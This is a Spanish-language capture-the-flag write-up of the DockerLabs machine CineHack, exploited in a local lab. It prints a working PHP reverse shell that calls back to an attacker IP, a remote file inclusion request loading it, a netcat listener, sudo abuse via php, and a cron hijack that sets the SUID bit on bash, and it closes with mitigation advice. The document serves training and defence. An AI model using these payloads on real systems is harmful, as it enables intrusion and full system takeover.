CineHack
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina CineHack, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios web, descubrimiento de rutas y análisis de código fuente.
- Explotación: Abuso de un parámetro vulnerable a Local File Inclusion (LFI) para cargar y ejecutar una webshell.
- Escalada de privilegios: Abuso de privilegios sudo y explotación de una tarea cron mal configurada para obtener acceso root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, asegurando un ambiente aislado y controlado.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | CineHack |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 17/10/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:
unzip CineHack.zipsudo bash auto_deploy.sh CineHack.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p CineHack/{content,exploits,nmap,gobuster,scripts}cd CineHackFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 80/tcp — HTTP (Web Server)

Figura 2: Único puerto HTTP identificado
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»El sitio web inicialmente muestra contenido incompleto. Analizando el código fuente se identifica que la aplicación está configurada para el dominio cinema.dl.
Agregamos la resolución al archivo /etc/hosts:
echo "172.17.0.2 cinema.dl" | sudo tee -a /etc/hosts2.3 Enumeración de Rutas Web
Sección titulada «2.3 Enumeración de Rutas Web»Realizamos un escaneo exhaustivo de directorios y archivos:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Resultados del escaneo de directorios
Rutas relevantes identificadas:
-
/index — Página principal del cine
Figura 4: Cartelera del cine
-
/reserva.html — Formulario de reservaciones
Figura 5: Formulario para seleccionar asientos
2.4 Análisis del Código Fuente
Sección titulada «2.4 Análisis del Código Fuente»Inspeccionando el código HTML de /reserva.html, encontramos un comentario revelador:

Figura 6: Input oculto con parámetro problem_url
El campo problem_url está configurado como hidden. Al modificar este atributo en el inspector del navegador:
<!-- Cambiar de: --><input type="hidden" name="problem_url" value="https://example.com/solution.txt">
<!-- A: --><input type="text" name="problem_url" value="https://example.com/solution.txt">
Figura 7: Campo problem_url ahora visible
El valor por defecto del parámetro problem_url es https://example.com/solution.txt, sugiriendo una posible vulnerabilidad de Local File Inclusion (LFI) o Remote File Inclusion (RFI).
Fase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Desarrollo del Exploit
Sección titulada «3.1 Desarrollo del Exploit»Creamos un archivo PHP para obtener una reverse shell:
<?php$ip = "172.17.0.1"; // IP del atacante$port = 443; // Puerto del listener$shell = "/bin/bash";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) { die("Error de conexión: $errstr ($errno)");}
$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock);
$process = proc_open($shell, $descriptorspec, $pipes);proc_close($process);?>3.2 Configuración del Entorno de Ataque
Sección titulada «3.2 Configuración del Entorno de Ataque»Iniciamos un servidor web local y un listener:
# Servidor HTTP para servir el archivo maliciosopython3 -m http.server 80
# Listener para recibir la conexiónnc -nlvp 4433.3 Ejecución del Ataque RFI
Sección titulada «3.3 Ejecución del Ataque RFI»Accedemos directamente al endpoint vulnerable con el parámetro problem_url:
http://cinema.dl/reservation.php?problem_url=http://172.17.0.1/shell.phpTras varias pruebas de ubicación del archivo subido, descubrimos el directorio /andrewgarfield/ (nombre del actor principal de la película seleccionada).
3.4 Acceso al Sistema
Sección titulada «3.4 Acceso al Sistema»Accedemos al archivo subido para ejecutar la reverse shell:
http://cinema.dl/andrewgarfield/shell.php
Figura 8: Shell como usuario www-data
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Normalización de la Shell
Sección titulada «4.1 Normalización de la Shell»Primero estabilizamos la shell obtenida:
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermexport PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin4.2 De www-data → boss
Sección titulada «4.2 De www-data → boss»Verificamos privilegios de sudo disponibles:
sudo -l
Figura 9: Permisos sudo del usuario www-data
El usuario www-data puede ejecutar php como el usuario boss sin contraseña:
sudo -u boss php -r "system('/bin/bash');"
Figura 10: Acceso como usuario boss
4.3 Enumeración del Sistema
Sección titulada «4.3 Enumeración del Sistema»Durante la enumeración, descubrimos que las sesiones tienen timeout automático. Investigamos procesos y tareas programadas:
ps aux | grep cronls -la /var/spool/cron/4.4 De boss → root
Sección titulada «4.4 De boss → root»Inspeccionamos las tareas cron activas y encontramos:
cat /var/spool/cron/crontabs/root.sh
Figura 11: Tarea cron configurada incorrectamente
El script /tmp/script.sh es ejecutado periódicamente como root pero no existe por defecto. Creamos un archivo malicioso:
echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /tmp/script.shchmod +x /tmp/script.sh4.5 Obtención de Shell Root
Sección titulada «4.5 Obtención de Shell Root»Esperamos a que se ejecute la tarea cron (aproximadamente 1 minuto) y luego:
bash -p
Figura 12: Acceso root obtenido exitosamente
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CVE/Referencia |
|---|---|---|---|
Remote File Inclusion (RFI) en parámetro problem_url | Alta | Ejecución remota de código | CWE-98 |
| Configuración insegura de permisos sudo | Media | Escalada horizontal de privilegios | CWE-269 |
| Tarea cron con path traversal y falta de validación | Crítica | Escalada vertical a root | CWE-22 |
| Exposición de información sensible en código HTML | Baja | Facilitación del ataque | CWE-200 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Protección contra RFI/LFI:
- Validar y sanitizar todos los parámetros de entrada
- Implementar lista blanca de URLs permitidas
- Deshabilitar
allow_url_includeen php.ini - Utilizar funciones seguras como
basename()para nombres de archivo
-
Gestión de Permisos Sudo:
- Revisar y minimizar privilegios sudo
- Eliminar ejecución sin contraseña cuando sea posible
- Implementar el principio de mínimo privilegio
- Utilizar comandos específicos en lugar de binarios genéricos como
php
-
Configuración de Tareas Cron:
- Validar existencia de archivos antes de ejecución
- Utilizar rutas absolutas y restringidas
- Implementar propietarios y permisos adecuados
- Monitorear ejecución de scripts en /tmp/
-
Hardening del Servidor Web:
- Ocultar información sensible en código fuente
- Implementar WAF (Web Application Firewall)
- Configurar headers de seguridad adecuados
- Realizar auditorías de código regularmente
-
Monitoreo y Respuesta:
- Implementar logs de acceso detallados
- Monitorear creación/ejecución de archivos en /tmp/
- Configurar alertas para ejecución de comandos privilegiados
- Realizar pentests periódicos